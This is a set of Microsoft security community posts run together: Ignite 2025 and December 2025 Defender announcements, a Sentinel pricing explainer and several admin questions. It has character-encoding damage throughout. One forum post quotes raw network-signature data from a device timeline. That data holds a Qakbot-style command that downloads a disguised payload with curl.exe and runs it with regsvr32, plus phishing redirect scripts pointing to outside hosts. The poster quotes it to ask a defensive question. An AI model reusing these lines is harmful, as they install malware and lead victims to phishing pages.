Microsoft Ignite 2025: Top Security Innovations You Need to Know
đ¤ Security & AI -The Big Story This Year 2025 marks a turning point for cybersecurity. Rapid adoption of AI across enterprises has unlocked innovation but introduced new risks. AI agents are now part of everyday workflows-automating tasks and interacting with sensitive dataâcreating new attack surfaces that traditional security models cannot fully address. Threat actors are leveraging AI to accelerate attacks, making speed and automation critical for defense. Organizations need solutions that deliver visibility, governance, and proactive risk management for both human and machine identities. Microsoft Ignite 2025 reflects this shift with announcements focused on securing AI at scale, extending Zero Trust principles to AI agents, and embedding intelligent automation into security operations. As a Senior Cybersecurity Solution Architect, Iâve curated the top security announcements from Microsoft Ignite 2025 to help you stay ahead of evolving threats and understand the latest innovations in enterprise security. Agent 365: Control Plane for AI Agents Agent 365 is a centralized platform that gives organizations full visibility, governance, and risk management over AI agents across Microsoft and third-party ecosystems. Why it matters: Unmanaged AI agents can introduce compliance gaps and security risks. Agent 365 ensures full lifecycle control. Key Features: Complete agent registry and discovery Access control and conditional policies Visualization of agent interactions and risk posture Built-in integration with Defender, Entra, and Purview Available via the Frontier Program Microsoft Agent 365: The control plane for AI agents Deep dive blog on Agent 365 Entra Agent ID: Zero Trust for AI Identities Microsoft Entra is the identity and access management suite (covering Azure AD, permissions, and secure access). Entra Agent ID extends Zero Trust identity principles to AI agents, ensuring they are governed like human identities. Why it matters: Unmanaged or over-privileged AI agents can create major security gaps. Agent ID enforces identity governance on AI agents and reduces automation risks. Key Features: Provides unique identities for AI agents Lifecycle governance and sponsorship for agents Conditional access policies applied to agent activity Integrated with open SDKs/APIs for thirdâparty platforms Microsoft Entra Agent ID Overview Entra Ignite 2025 announcements Public Preview details Security Copilot Expansion Security Copilot is Microsoftâs AI assistant for security teams, now expanded to automate threat hunting, phishing triage, identity risk remediation, and compliance tasks. Why it matters: Security teams face alert fatigue and resource constraints. Copilot accelerates response and reduces manual effort. Key Features: 12 new Microsoft-built agents across Defender, Entra, Intune, and Purview. 30+ partner-built agents available in the Microsoft Security Store. Automates threat hunting, phishing triage, identity risk remediation, and compliance tasks. Included for Microsoft 365 E5 customers at no extra cost. Security Copilot inclusion in Microsoft 365 E5 Security Copilot Ignite blog Security Dashboard for AI A unified dashboard for CISOs and risk leaders to monitor AI risks, aggregate signals from Microsoft security services, and assign tasks via Security Copilot - included at no extra cost. Why it matters: Provides a single pane of glass for AI risk management, improving visibility and decision-making. Key Features: Aggregates signals from Entra, Defender, and Purview Supports natural language queries for risk insights Enables task assignment via Security Copilot Ignite Session: Securing AI at Scale Microsoft Security Blog Microsoft Defender Innovations Microsoft Defender serves as Microsoftâs CNAPP solution, offering comprehensive, AI-driven threat protection that spans endpoints, email, cloud workloads, and SIEM/SOAR integrations. Why It Matters Modern attacks target multi-cloud environments and software supply chains. These innovations provide proactive defense, reduce breach risks before exploitation, and extend protection beyond Microsoft ecosystems-helping organizations secure endpoints, identities, and workloads at scale. Key Features: Predictive Shielding: Proactively hardens attack paths before adversaries pivot. Automatic Attack Disruption: Extended to AWS, Okta, and Proofpoint via Sentinel. Supply Chain Security: Defender for Cloud now integrates with GitHub Advanced Security. Whatâs new in Microsoft Defender at Ignite Defender for Cloud innovations Global Secure Access & AI Gateway Part of Microsoft Entraâs secure access portfolio, providing secure connectivity and inspection for web and AI traffic. Why it matters: Protects against lateral movement and AI-specific threats while maintaining secure connectivity. Key Features: TLS inspection, URL/file filtering AI Prompt Injection protection Private access for domain controllers to prevent lateral movement attacks. Learn about Secure Web and AI Gateway for agents Microsoft Entra: Whatâs new in secure access on the AI frontier Purview Enhancements Microsoft Purview is the data governance and compliance platform, ensuring sensitive data is classified, protected, and monitored. Why it matters: Ensures sensitive data remains protected and compliant in AI-driven environments. Key Features: AI Observability: Monitor agent activities and prevent sensitive data leakage. Compliance Guardrails: Communication compliance for AI interactions. Expanded DSPM: Data Security Posture Management for AI workloads. Announcing new Microsoft Purview capabilities to protect GenAI agents Intune Updates Microsoft Intune is a cloud-based endpoint device management solution that secures apps, devices, and data across platforms. It simplifies endpoint security management and accelerates response to device risks using AI. Why it matters: Endpoint security is critical as organizations manage diverse devices in hybrid environments. These updates reduce complexity, speed up remediation, and leverage AI-driven automation-helping security teams stay ahead of evolving threats. Key Features: Security Copilot agents automate policy reviews, device offboarding, and risk-based remediation. Enhanced remote management for Windows Recovery Environment (WinRE). Policy Configuration Agent in Intune lets IT admins create and validate policies with natural language Whatâs new in Microsoft Intune at Ignite Your guide to Intune at Ignite Closing Thoughts Microsoft Ignite 2025 signals the start of an AI-driven security era. From visibility and governance for AI agents to Zero Trust for machine identities, automation in security operations, and stronger compliance for AI workloads-these innovations empower organizations to anticipate threats, simplify governance, and accelerate secure AI adoption without compromising compliance or control. đ Full Coverage: Microsoft Ignite 2025 Book of NewsMonthly news - December 2025
Microsoft Defender Monthly news - December 2025 Edition This is our monthly "What's new" blog post, summarizing product updates and various new assets we released over the past month across our Defender products. In this edition, we are looking at all the goodness from October 2025. Defender for Cloud has its own Monthly News post, have a look at their blog space. đ Microsoft Ignite 2025 - now on-demand! đ New Virtual Ninja Show episode: Advancements in Attack Disruption Vulnerability Remediation Agent in Microsoft Intune Microsoft Defender Ignite 2025: What's new in Microsoft Defender? This blog summarizes our big announcements we made at Ignite. (Public Preview) Defender XDR now includes the predictive shielding capability, which uses predictive analytics and real-time insights to dynamically infer risk, anticipate attacker progression, and harden your environment before threats materialize. Learn more about predictive shielding. Security Copilot for SOC: bringing agentic AI to every defender. This blog post gives a great overview of the various agents supporting SOC teams. Account correlation links related accounts and corresponding insights to provide identity-level visibility and insights to the SOC. Coordinated response allows Defenders to take action comprehensively across connected accounts, accelerating response and minimizing the potential for lateral movement. Enhancing visibility into your identity fabric with Microsoft Defender. This blog describes new enhancements to the identity security experience within Defender that will help enrich your security teamâs visibility and understanding into your unique identity fabric. (Public Preview) The IdentityAccountInfo table in advanced hunting is now available for preview. This table contains information about account information from various sources, including Microsoft Entra ID. It also includes information and link to the identity that owns the account. Microsoft Sentinel customers using the Defender portal, or the Azure portal with the Microsoft Sentinel Defender XDR data connector, now also benefit from Microsoft Threat Intelligence alerts that highlight activity from nation-state actors, major ransomware campaigns, and fraudulent operations. For more information, see Incidents and alerts in the Microsoft Defender portal. (Public Preview) New Entity Behavior Analytics (UEBA) experiences in the Defender portal! Microsoft Sentinel introduces new UEBA experiences in the Defender portal, bringing behavioral insights directly into key analyst workflows. These enhancements help analysts prioritize investigations and apply UEBA context more effectively. Learn more on our docs. (Public Preview) A new Restrict pod access response action is now available when investigating container threats in the Defender portal. This response action blocks sensitive interfaces that allow lateral movement and privilege escalation. (Public Preview) Threat analytics now has an Indicators tab that provides a list of all indicators of compromise (IOCs) associated with a threat. Microsoft researchers update these IOCs in real time as they find new evidence related to the threat. This information helps your security operations center (SOC) and threat intelligence analysts with remediation and proactive hunting. Learn more. In addition the overview section of threat analytics now includes additional details about a threat, such as alias, origin, and related intelligence, providing you with more insights on what the threat is and how it might impact your organization. Microsoft Defender for Identity (Public Preview) In addition to the GA release of scoping by Active Directory domains a few months ago, you can now scope by Organizational Units (OUs) as part of XDR User Role-Based Access Control. This enhancement provides even more granular control over which entities and resources are included in security analysis. For more information, see Configure scoped access for Microsoft Defender for Identity. (Public Preview). New security posture assessment: Change password for on-prem account with potentially leaked credentials. The new security posture assessment lists users whose valid credentials have been leaked. For more information, see: Change password for on-prem account with potentially leaked credentials. Defender for Identity is slowly rolling out automatic Windows event auditing for sensors v3.x, streamlining deployment by applying required auditing settings to new sensors and fixing misconfigurations on existing ones. As it becomes available, you will be able to enable automatic Windows event-auditing in the Advanced settings section in the Defender portal, or using the Graph API. Identity Inventory enhancements: Accounts tab, manual account linking and unlinking, and expanded remediation actions are now available. Learn more in our docs. Microsoft Defender for Cloud Apps (Public Preview) Defender for Cloud Apps automatically discovers AI agents created in Microsoft Copilot Studio and Azure AI Foundry, collects audit logs, continuously monitors for suspicious activity, and integrates detections and alerts into the XDR Incidents and Alerts experience with a dedicated Agent entity. For more information, see Protect your AI agents. Microsoft Defender for Endpoint Ignite 2025: Microsoft Defender now prevents threats on endpoints during an attack. This year at Microsoft Ignite, Microsoft Defender is announcing exciting innovations for endpoint protection that help security teams deploy faster, gain more visibility, and proactively block attackers during active attacks. (Public Preview) Defender for Endpoint now includes the GPO hardening and Safeboot hardening response actions. These actions are part of the predictive shielding feature, which anticipates and mitigates potential threats before they materialize. (Public Preview) Custom data collection enables organizations to expand and customize telemetry collection beyond default configurations to support specialized threat hunting and security monitoring needs. (Public Preview) Native root detection support for Microsoft Defender on Android. This enables proactive detection of rooted devices without requiring Intune policies, ensuring stronger security and validating that Defender is running on an uncompromised device, ensuring more reliable telemetry that is not vulnerable to attacker manipulation. (Public Preview) The new Defender deployment tool is a lightweight, self-updating application that streamlines onboarding devices to the Defender endpoint security solution. The tool takes care of prerequisites, automates migrations from older solutions, and removes the need for complex onboarding scripts, separate downloads, and manual installations. It currently supports Windows and Linux devices. Defender deployment tool: for Windows devices for Linux devices (Public Preview) Defender endpoint security solution for Windows 7 SP1 and Windows Server 2008 R2 SP1. A Defender for endpoint security solution is now available for legacy Windows 7 SP1 and Windows Server 2008 R2 SP1 devices. The solution provides advanced protection capabilities and improved functionality for these devices compared to other solutions. The new solution is available using the new Defender deployment tool. Microsoft Defender Vulnerability Management (Public Preview) The Vulnerability Management section in the Microsoft Defender portal is now located under Exposure management. This change is part of the vulnerability management integration to Microsoft Security Exposure Management, which significantly expands the scope and capabilities of the platform. Learn more. (General Availability) Microsoft Secure Score now includes new recommendations to help organizations proactively prevent common endpoint attack techniques. Require LDAP client signing and Require LDAP server signing - help ensure integrity of directory requests so attackers can't tamper with or manipulate group memberships or permissions in transit. Encrypt LDAP client traffic - prevents exposure of credentials and sensitive user information by enforcing encrypted communication instead of clear-text LDAP. Enforce LDAP channel binding - prevents man-in-the-middle relay attacks by ensuring the authentication is cryptographically tied to the TLS session. If the TLS channel changes, the bind fails, stopping credential replay. (General Availability) These Microsoft Secure Score recommendations are now generally available: Block web shell creation on servers Block use of copied or impersonated system tools Block rebooting a machine in Safe Mode Microsoft Defender for Office 365 Microsoft Ignite 2025: Transforming Phishing Response with Agentic Innovation. This blog post summarizes the following announcements: General Availability of the Security Copilot Phishing Triage Agent Agentic Email Grading System in Microsoft Defender Cisco and VIPRE Security Group join the Microsoft Defender ICES ecosystem. A separate blog explains these best practices in more detail and outline three other routing techniques commonly used across ICES vendors. Blog series: Best practices from the Microsoft Community Microsoft Defender for Office 365: Fine-Tuning: This blog covers our top recommendations for fine-tuning Microsoft Defender for Office 365 configuration from hundreds of deployments and recovery engagements, by Microsoft MVP Joe Stocker. You may be right after all! Disputing Submission Responses in Microsoft Defender for Office 365: Microsoft MVP Mona Ghadiri spotlights a new place AI has been inserted into a workflow to make it better⌠a feature that elevates the transparency and responsiveness of threat management: the ability to dispute a submission response directly within Microsoft Defender for Office 365. Blog post: Strengthening calendar security through enhanced remediation.
NetworkSignatureInspected
Hi, Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content. I've read this article, so understand the basics of the function: Enrich your advanced hunting experience using network layer signals from Zeek I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices. Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228: ${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&®svr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https:// Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced. Any assistance with rationalising this would be great, thanks.
Add Privacy Scrub Service to Microsoft Defender?
Microsoft Defender protects accounts against phishing and malware, but attackers increasingly exploit nuisance data broker sites that publish personal information (names, emails, addresses). These sites are scraped to personalize phishing campaigns, making them harder to detect. I propose a premium Defender addâon that automatically files optâout requests with major data brokers (similar to DeleteMe).
Understand New Sentinel Pricing Model with Sentinel Data Lake Tier
Introduction on Sentinel and its New Pricing Model Microsoft Sentinel is a cloud-native Security Information and Event Management (SIEM) and Security Orchestration, Automation, and Response (SOAR) platform that collects, analyzes, and correlates security data from across your environment to detect threats and automate response. Traditionally, Sentinel stored all ingested data in the Analytics tier (Log Analytics workspace), which is powerful but expensive for high-volume logs. To reduce cost and enable customers to retain all security data without compromise, Microsoft introduced a new dual-tier pricing model consisting of the Analytics tier and the Data Lake tier. The Analytics tier continues to support fast, real-time querying and analytics for core security scenarios, while the new Data Lake tier provides very low-cost storage for long-term retention and high-volume datasets. Customers can now choose where each data type landsâanalytics for high-value detections and investigations, and data lake for large or archival typesâallowing organizations to significantly lower cost while still retaining all their security data for analytics, compliance, and hunting. Please flow diagram depicts new sentinel pricing model: Now let's understand this new pricing model with below scenarios: Scenario 1A (PAY GO) Scenario 1B (Usage Commitment) Scenario 2 (Data Lake Tier Only) Scenario 1A (PAY GO) Requirement Suppose you need to ingest 10 GB of data per day, and you must retain that data for 2 years. However, you will only frequently use, query, and analyze the data for the first 6 months. Solution To optimize cost, you can ingest the data into the Analytics tier and retain it there for the first 6 months, where active querying and investigation happen. After that period, the remaining 18 months of retention can be shifted to the Data Lake tier, which provides low-cost storage for compliance and auditing needs. But you will be charged separately for data lake tier querying and analytics which depicted as Compute (D) in pricing flow diagram. Pricing Flow / Notes The first 10 GB/day ingested into the Analytics tier is free for 31 days under the Analytics logs plan. All data ingested into the Analytics tier is automatically mirrored to the Data Lake tier at no additional ingestion or retention cost. For the first 6 months, you pay only for Analytics tier ingestion and retention, excluding any free capacity. For the next 18 months, you pay only for Data Lake tier retention, which is significantly cheaper. Azure Pricing Calculator Equivalent Assuming no data is queried or analyzed during the 18-month Data Lake tier retention period: Although the Analytics tier retention is set to 6 months, the first 3 months of retention fall under the free retention limit, so retention charges apply only for the remaining 3 months of the analytics retention window. Azure pricing calculator will adjust accordingly. Scenario 1B (Usage Commitment) Now, suppose you are ingesting 100 GB per day. If you follow the same pay-as-you-go pricing model described above, your estimated cost would be approximately $15,204 per month. However, you can reduce this cost by choosing a Commitment Tier, where Analytics tier ingestion is billed at a discounted rate. Note that the discount applies only to Analytics tier ingestionâit does not apply to Analytics tier retention costs or to any Data Lake tierârelated charges. Please refer to the pricing flow and the equivalent pricing calculator results shown below. Monthly cost savings: $15,204 â $11,184 = $4,020 per month Now the question is: What happens if your usage reaches 150 GB per day? Will the additional 50 GB be billed at the Pay-As-You-Go rate? No. The entire 150 GB/day will still be billed at the discounted rate associated with the 100 GB/day commitment tier bucket. Azure Pricing Calculator Equivalent (100 GB/ Day) Azure Pricing Calculator Equivalent (150 GB/ Day) Scenario 2 (Data Lake Tier Only) Requirement Suppose you need to store certain audit or compliance logs amounting to 10 GB per day. These logs are not used for querying, analytics, or investigations on a regular basis, but must be retained for 2 years as per your organizationâs compliance or forensic policies. Solution Since these logs are not actively analyzed, you should avoid ingesting them into the Analytics tier, which is more expensive and optimized for active querying. Instead, send them directly to the Data Lake tier, where they can be retained cost-effectively for future audit, compliance, or forensic needs. Pricing Flow Because the data is ingested directly into the Data Lake tier, you pay both ingestion and retention costs there for the entire 2-year period. If, at any point in the future, you need to perform advanced analytics, querying, or search, you will incur additional compute charges, based on actual usage. Even with occasional compute charges, the cost remains significantly lower than storing the same data in the Analytics tier. Realized Savings Scenario Cost per Month Scenario 1: 10 GB/day in Analytics tier $1,520.40 Scenario 2: 10 GB/day directly into Data Lake tier $202.20 (without compute) $257.20 (with sample compute price) Savings with no compute activity: $1,520.40 â $202.20 = $1,318.20 per month Savings with some compute activity (sample value): $1,520.40 â $257.20 = $1,263.20 per month Azure calculator equivalent without compute Azure calculator equivalent with Sample Compute Conclusion The combination of the Analytics tier and the Data Lake tier in Microsoft Sentinel enables organizations to optimize cost based on how their security data is used. High-value logs that require frequent querying, real-time analytics, and investigation can be stored in the Analytics tier, which provides powerful search performance and built-in detection capabilities. At the same time, large-volume or infrequently accessed logsâsuch as audit, compliance, or long-term retention dataâcan be directed to the Data Lake tier, which offers dramatically lower storage and ingestion costs. Because all Analytics tier data is automatically mirrored to the Data Lake tier at no extra cost, customers can use the Analytics tier only for the period they actively query data, and rely on the Data Lake tier for the remaining retention. This tiered model allows different scenariosâactive investigation, archival storage, compliance retention, or large-scale telemetry ingestionâto be handled at the most cost-effective layer, ultimately delivering substantial savings without sacrificing visibility, retention, or future analytical capabilities.
Security Admin role replacement with Defender XDR
We currently have the Security Administrator role assigned to multiple users in our organization. We are considering replacing it with custom RBAC roles in Microsoft Defender XDR as described in https://learn.microsoft.com/en-us/defender-xdr/custom-roles Our goal is to provide these users full access to the Microsoft Defender security portal so they can respond to alerts and manage security operations. They do not require access to the Entra ID portal for tasks such as managing conditional access policies or authentication method policies. Can we completely remove the Security Administrator role and rely solely on the custom RBAC role in Defender XDR to meet these requirements?
Defender Entity Page w/ Sentinel Events Tab
One device is displaying the Sentinel Events Tab, while the other is not. The only difference observed is that one device is Azure AD (AAD) joined and the other is Domain Joined. Could this difference account for the missing Sentinel events data? Any insight would be appreciated!Host Microsoft Defender data locally in the United Arab Emirates
We are pleased to announce that local data residency support in the UAE is now generally available for Microsoft Defender for Endpoint and Microsoft Defender for Identity.⯠This announcement reinforces our ongoing commitment to delivering secure, compliant services aligned with local data sovereignty requirements. Customers can now confidently onboard to Defender for Endpoint and Defender for Identity in the UAE, knowing that this Defender data will remain at rest within the UAE data boundary. This allows customers toâŻmeet their regulatory obligations and maintain control over their data. For more details on the Defender data storage and privacy policies, refer toâŻMicrosoft Defender for Endpoint data storage and privacyâŻandâŻMicrosoft Defender for Identity data security and privacy. Note:âŻDefender for Endpoint and Defender for Identity mayâŻpotentially use other Microsoft services (i.e. Microsoft Intune for security settings management). Each Microsoft service is governed by its own data storage and privacy policies and may have varying regional availability. For more information, refer to ourâŻOnline Product Terms. In addition to the UAE, Defender data residency capabilities are available in the United States, the European Union, the United Kingdom, Australia, Switzerland and India (see our recent announcement for local data hosting in India). Customers with Existing deployments for Defender for Endpoint and/or Defender for Identity Existing customers can check their deployment geoâŻwithin the portal by going to Settings -> Microsoft Defender XDR-> Account; and see where the service is storing your data at rest. For example,âŻin the image below, the service location for the Defender XDR tenant is UAE. ation information If you would like to update your service location, please reach out to Customer Service and Support for a tenant reset. Support can be accessed by clicking on the â?â icon in the top right corner of the portal when signed in as an Admin (see image below). If you are a Microsoft Unified support customer, please reach out to your Customer Success Account Manager for assistance with the migration process. More information: Ready to go local? Read our documentation for more information on how toâŻget started. Microsoft Defender XDR data center location Not yet a customer? Take Defender XDR for a spin via aâŻ90-day trial for Office 365 E5âŻor Defender for Endpoint viaâŻa 90-day trial for Defender for Endpoint Check out the Defender for Endpoint websiteâŻto learn more about our industry leading Endpoint protection platform Check out the Defender for Identity websiteâŻto learn how to keep your organization safe against rising identity threats
Custom data collection in MDE - what is default?
So you just announced the preview of "Custom data collection in Microsoft Defender for Endpoint (Preview)" which lets me ingest custom data to sentinel. Is there also an overview of what is default and what I can add? e.g. we want to examine repeating disconnects from AzureVPN clients (yes, it's most likely just Microsoft's fault, as the app ratings show 'everyone' is having them) How do I know which data I can add to DeviceCustomNetworkEvents which isnt already in DeviceNetworkEvents?
